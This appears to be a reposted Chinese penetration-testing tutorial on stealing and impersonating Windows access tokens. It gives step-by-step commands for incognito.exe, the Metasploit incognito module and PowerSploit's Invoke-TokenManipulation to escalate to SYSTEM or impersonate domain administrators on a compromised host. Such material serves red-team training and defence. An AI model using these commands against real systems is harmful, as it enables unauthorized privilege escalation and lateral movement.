内网渗透之AccessToken窃取与利用

文章目录

    • 令牌(Token)
    • AccessToken的窃取与利用
      • 1:程序 incognito.exe
      • 2:MSF下的incognito模块
      • 3:Invoke-TokenManipulation.ps1脚本
    • MSF实战假冒令牌提权

令牌(Token)

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。

假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。

令牌有很多种:

  • 访问令牌(Access Token):表示访问控制操作主体的系统对象
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符
  • 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾

Windows的AccessToken有两种类型:

  • Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接登录、远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话 (例如使用net use访问共享文件夹)。

注: 两种token只在系统重启后清除 具有Delegation token的用户在注销后,该Token将变成Impersonation token,依旧有效。

AccessToken的窃取与利用

AccessToken的窃取与利用需要administrator管理员权限。也就是说要提权。

窃取AccessToken的方法:

incognito.exe程序 、InvokeTokenManipulat.ps1脚本 、MSF里的incognito模块

1:程序 incognito.exe

程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

AccessToken的列举(需要administrator权限)

incognito.exe list_tokens -u

内网渗透之AccessToken窃取与利用_第1张图片

操作:模拟其他用户的令牌(复制token)

如果要使用AccessToken模拟其他用户,可以使用命令

incognito.exe execute -c "完整的Token名" cmd.exe

例如:模拟system权限用户(提权至system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户token" cmd.exe

内网渗透之AccessToken窃取与利用_第2张图片

2:MSF下的incognito模块

需要administrator权限

use incognito #加载incognito
list_tokens -u #列出AccessToken
getuid    #查看当前token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
steal_token 1252 #从进程窃取token
getsystem #提升至system权限
rev2self #返回到之前的AccessToken权限

3:Invoke-TokenManipulation.ps1脚本

这个脚本是PowerSploit下Exfiltration文件夹内的一个脚本

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1

使用命令如下:

列举token:
Invoke-TokenManipulation -Enumerate
提权至system:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
复制(窃取)进程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制(窃取)线程token:
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500

内网渗透之AccessToken窃取与利用_第3张图片

内网渗透之AccessToken窃取与利用_第4张图片

MSF实战假冒令牌提权

假设我们现在已经获得了目标主机的权限,但是通过 getsystem 和其他方式提权失败。

内网渗透之AccessToken窃取与利用_第5张图片

此时,我们可以尝试使用假冒令牌进行提权。

use incognito           #进入incognito模块
list_tokens -u          #列出令牌

如图,可以看到有两种类型的令牌。

  • Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话。

令牌的数据取决于当前获取权限的高低。

内网渗透之AccessToken窃取与利用_第6张图片

当前列出了3个令牌。我们就可以通过下面的命令假冒 Administrator 用户了。

impersonate_token WIN2008\\adminstrator     #假冒WIN2008\adminstrator  的令牌
impersonate_token WIN2008\\test             #假冒WIN2008\test          的令牌
impersonate_token "NT AUTHORITY\SYSTEM"     #假冒System的令牌
 
从进程窃取令牌
steal_token 1252
返回之前的token
rev2self

原文:https://blog.csdn.net/qq_36119192/article/details/103965659

你可能感兴趣的:(Windows系统安全,渗透测试)